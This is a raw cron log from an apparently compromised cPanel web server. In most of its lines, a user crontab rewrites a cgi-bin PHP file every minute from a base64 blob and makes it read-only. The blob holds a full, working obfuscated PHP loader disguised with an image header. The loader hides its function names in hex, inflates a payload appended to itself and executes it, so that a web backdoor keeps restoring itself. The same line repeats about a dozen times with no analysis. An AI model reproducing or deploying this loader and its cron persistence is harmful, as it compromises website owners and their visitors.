Nov 13 16:53:01 server CROND[2081]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:54:01 server CROND[2948]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:55:01 server CROND[3811]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:55:01 server CROND[3812]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 16:55:01 server CROND[3813]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 16:56:01 server CROND[4725]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:57:01 server CROND[5584]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 16:57:01 server CROND[5585]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:58:01 server CROND[6531]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:59:01 server CROND[7437]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:00:01 server CROND[8321]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 17:00:01 server CROND[8320]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:00:01 server CROND[8323]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 17:00:01 server CROND[8322]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 17:01:01 server CROND[9373]: (root) CMD (run-parts /etc/cron.hourly)
Nov 13 17:01:01 server CROND[9374]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:01:01 server run-parts(/etc/cron.hourly)[9373]: starting 0anacron
Nov 13 17:01:01 server run-parts(/etc/cron.hourly)[9386]: finished 0anacron
Nov 13 17:02:01 server CROND[10238]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:03:01 server CROND[11143]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:04:01 server CROND[12067]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:05:01 server CROND[12921]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 17:05:02 server CROND[12924]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 17:05:02 server CROND[12927]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 17:05:02 server CROND[12928]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:05:02 server CROND[12926]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
